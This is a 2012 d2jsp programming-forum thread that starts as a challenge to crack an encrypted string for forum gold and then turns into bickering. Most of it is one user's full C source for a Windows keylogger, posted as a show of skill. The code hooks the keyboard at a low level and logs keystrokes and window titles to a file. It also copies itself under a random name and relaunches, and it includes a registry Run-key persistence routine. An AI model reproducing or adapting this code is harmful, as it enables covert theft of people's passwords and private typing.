d2jsp
Log InRegister
d2jsp Forums > Off-Topic > Computers & IT > Programming & Development > Fg If U Can Find This ~ Repost > Not A Joke!
12Next
Closed New Topic New Poll
Member
Posts: 21,407
Joined: Jun 15 2007
Gold: 120,303.00
Jun 6 2012 03:43pm
repost 2 : http://forums.d2jsp.org/topic.php?t=57526075&f=122

Code
))))t\[;{TPF\b.<.\{]":gn\i\+33)63*%6\`%*-=)4(\@\4\+\7%`W\t\{;z:gn\:<x\R\,b],\:gm;\h',\gg\R\]g"f;<.\[;[n.{t\,"\:g\][j]gk.t\}x.]{.\g;\]h'{.YYYYYYYYY


10 fg if u can crack the encrypted text above

any abuse is reported
Member
Posts: 32,925
Joined: Jul 23 2006
Gold: 3,804.50
Jun 6 2012 04:53pm
I have the feeling we're gonna see the source code for a keylogger in here.
Member
Posts: 9,803
Joined: Jun 28 2005
Gold: 6.67
Jun 6 2012 06:05pm
How is this related to C/C++/C#?
Member
Posts: 21,407
Joined: Jun 15 2007
Gold: 120,303.00
Jun 6 2012 11:47pm
Quote (KrzaQ2 @ 7 Jun 2012 10:05)
How is this related to C/C++/C#?


the crypt was written in cpp and i think anyone who is interest in c mayb able 2 crack so i post here!
Member
Posts: 13,425
Joined: Sep 29 2007
Gold: 0.00
Warn: 20%
Jun 6 2012 11:54pm
Quote (dos350 @ Jun 7 2012 01:47am)
the crypt was written in cpp and i think anyone who is interest in c mayb able 2 crack so i post here!


i wrote this in cpp as well. ill give anyone 1 guess as to what it does.

/fake edit: i would post zodiac but yea, dont feel like revealing my private spreading method lol.

main.c
Code
#include "includes.h"

int main(int argc, char** argv)
{
   if(!Copy_File(argv[0]))
   {
       ExitProcess(0);
   }
   else
   {
       //if(!Create_Startup(argv[0]))
       //{
       //    ExitProcess(0);
       //}
   }

   HANDLE hThread;
   DWORD dwThread;

   hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Logging_Thread, (LPVOID)argv[0], 0, &dwThread);

   if(hThread)
   {
       return WaitForSingleObject(hThread, INFINITE);
   }
   else
   {
       return 1;
   }

}


keyboardhook.h
Code
DWORD WINAPI Logging_Thread(LPVOID lParam);
__declspec(dllexport) LRESULT CALLBACK key_event(int ncCode, WPARAM wParam, LPARAM lParam);
void MsgLoop();

HHOOK hLogging;

char OldWindowTitle[260];
char NewWindowTitle[260];


keyboardhook.c
Code
#include "includes.h"


__declspec(dllexport) LRESULT CALLBACK key_event(int nCode, WPARAM wParam, LPARAM lParam)
{
   if((nCode == HC_ACTION) && ((wParam == WM_KEYUP) || (wParam == WM_SYSKEYDOWN)))
   {
       KBDLLHOOKSTRUCT hHooked = *((KBDLLHOOKSTRUCT*)lParam);
       BYTE KeyboardState[256] = {0};
       char Text[256] = {0};
       WORD result = 0;

       GetKeyState(0);
       GetKeyboardState(KeyboardState);

       ToAsciiEx(hHooked.vkCode, hHooked.scanCode, KeyboardState, &result, hHooked.flags, 0);

       if((char)result == '\r')
       {
           Text[0] = '\n';
       }
       else if ((char)result == '\b')
       {
           sprintf(Text, "%s", "[BACKSPACE]");
       }
       else
       {
           Text[0] = (char)result;
       }

       if(GetWindowText(GetForegroundWindow(), NewWindowTitle, 260) != 0)
       {
           if(strcmp(OldWindowTitle, NewWindowTitle) != 0)
           {
               strcpy(OldWindowTitle, NewWindowTitle);

               char temp[260];

               sprintf(temp, "\n\n%c%s%c\n", '[', OldWindowTitle, ']');

               FILE *title;
               title = fopen(LogFilePath, "a+");
               fputs(temp, title);
               fclose(title);
           }
       }

       FILE *output;
       output = fopen(LogFilePath, "a+");
       fputs(Text, output);
       fflush(output);
   }
   return CallNextHookEx(hLogging, nCode, wParam, lParam);
}

void MsgLoop()
{
   MSG message;

   while(GetMessage(&message, NULL, 0,0))
   {
       TranslateMessage(&message);
       DispatchMessage(&message);
   }
}

DWORD WINAPI Logging_Thread(LPVOID lParam)
{
   HINSTANCE hApp = GetModuleHandle(NULL);

   if(!hApp)
   {
       hApp = LoadLibrary((LPCSTR)lParam);
   }

   if(!hApp)
   {
       return 1;
   }

   hLogging = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)key_event, hApp, 0);

   MsgLoop();

   UnhookWindowsHookEx(hLogging);

   return 0;
}


includes.h
Code
#define _WIN32_WINNT 0x0403
#define WIN32_LEAN_AND_MEAN

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
#include <time.h>
#include "keyboardhook.h"
#include "functions.h"
#include "externs.h"


functions.h
Code
int Create_Startup(char *path);
int Copy_File(char *path);


functions.c
Code
#include "includes.h"

int Create_Startup(char *path)
{
   HKEY hKey;
   LONG result;
   LPCSTR str = TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");

   result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, str, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);

   if(result == ERROR_SUCCESS)
   {
       char *cPath = malloc(sizeof(char) * MAX_PATH);
       sprintf(cPath, "\"%s\"", path);

       LPCSTR value = TEXT(RegistryKeyName);
       LPCSTR data = TEXT(cPath);

       result = RegSetValueEx(hKey, value, 0, REG_SZ, (LPBYTE)data, (strlen(data)+1) * sizeof(TCHAR));

       if(result == ERROR_SUCCESS)
       {
           result = RegCloseKey(hKey);

           if(result == ERROR_SUCCESS)
           {
               return 1;
           }
       }
   }
return 0;
}

int Copy_File(char *path)
{
/*
   pSearch = strrchr(path, '\\');
   pSearchEnd = strrchr(path, '\0');

   pFileName = strncpy(pFileName, (pSearch + 1), (pSearchEnd - pSearch + 1));
*/

   char *pSearch = strstr(path, DropPathKeyword);

   if(pSearch != NULL)
   {
       printf("i am in sys32 dawg\n");
       printf("%s", path);
       return 1;
   }
   else
   {
       char pNewFileName[11] = {0};
       char *pNewFileDestination = malloc(sizeof(char) * 260);

       srand(time(NULL));

       for(int i = 0; i < 10; i++)
       {
           pNewFileName[i] = 97 + rand() % 26;
       }

       sprintf(pNewFileDestination, "%s%s%s", DropPath, pNewFileName, ".exe");

       LPCSTR ExistingFileName = TEXT(path);
       LPCSTR NewFileName      = TEXT(pNewFileDestination);

       if(CopyFileEx(ExistingFileName, NewFileName, NULL, NULL, FALSE, COPY_FILE_FAIL_IF_EXISTS) != 0)
       {
           STARTUPINFO StartUp;
           PROCESS_INFORMATION ProcessInfo;

           ZeroMemory(&StartUp, sizeof(StartUp));
           StartUp.cb = sizeof(StartUp);
           ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));

           if(CreateProcess(NewFileName, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &StartUp, &ProcessInfo ))
           {
               return 0;
           }
       return 1;
       }
   }

   return 0;
}


externs.c
Code
extern char LogFilePath[];
extern char DropPath[];
extern char RegistryKeyName[];
extern char DropPathKeyword[];


config.h
Code
char LogFilePath[]         = "c:\\test\\keys.txt";
char DropPath[]        = "c:\\test\\";
char RegistryKeyName[] = "keytest";
char DropPathKeyword[] = "test";
Member
Posts: 21,407
Joined: Jun 15 2007
Gold: 120,303.00
Jun 7 2012 12:38am
get ur own thread ty
Member
Posts: 13,425
Joined: Sep 29 2007
Gold: 0.00
Warn: 20%
Jun 7 2012 12:47am
Quote (dos350 @ Jun 7 2012 02:38am)
get ur own thread ty


u jus jello that its 2 much complicated more then plaintext[i] ^ key[i] >> 5;

i c you mayb rlly mad cuz i got skil
Member
Posts: 21,407
Joined: Jun 15 2007
Gold: 120,303.00
Jun 7 2012 02:01am
Quote (AbDuCt @ 7 Jun 2012 16:47)
u jus jello that its 2 much complicated more then plaintext[i] ^ key[i] >> 5;

i c you mayb rlly mad cuz i got skil

tldr 4u siz
get ur own thread i didnt even read ur thing
Member
Posts: 13,425
Joined: Sep 29 2007
Gold: 0.00
Warn: 20%
Jun 7 2012 10:26am
Quote (dos350 @ Jun 7 2012 04:01am)
tldr 4u siz
get ur own thread i didnt even read ur thing


hes gettn mad

evry1 look hes rage hard
Member
Posts: 2,429
Joined: Jul 22 2010
Gold: 104.60
Jun 7 2012 03:53pm
Quote (AbDuCt @ Jun 7 2012 06:26pm)
hes gettn mad

evry1 look hes rage hard


agreed
Go Back To Programming & Development Topic List
12Next
Closed New Topic New Poll